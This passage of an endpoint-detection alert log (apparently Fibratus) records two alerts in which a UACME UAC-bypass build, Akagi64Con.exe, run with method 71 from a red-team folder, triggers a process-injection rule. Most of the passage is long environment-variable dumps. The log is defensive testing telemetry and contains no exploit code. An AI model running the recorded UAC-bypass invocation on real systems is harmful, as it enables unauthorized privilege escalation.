DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\wsdl\5f5cbf031ee1c800fc7d6705e5311ca1\wsdl.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675200 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2287119 +0100 CET + Params: base_address➜ 7ffb824f0000, checksum➜ 0, default_address➜ 7ffb824f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\wsdl\5f5cbf031ee1c800fc7d6705e5311ca1\wsdl.ni.exe, image_size➜ 188416, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\xsd\c798035583c134c9611ab5edbc5598c8\xsd.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675213 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2295473 +0100 CET + Params: base_address➜ 7ffb824f0000, checksum➜ 0, default_address➜ 7ffb824f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\xsd\c798035583c134c9611ab5edbc5598c8\xsd.ni.exe, image_size➜ 167936, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.name: .NET assembly loaded by unmanaged process + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft 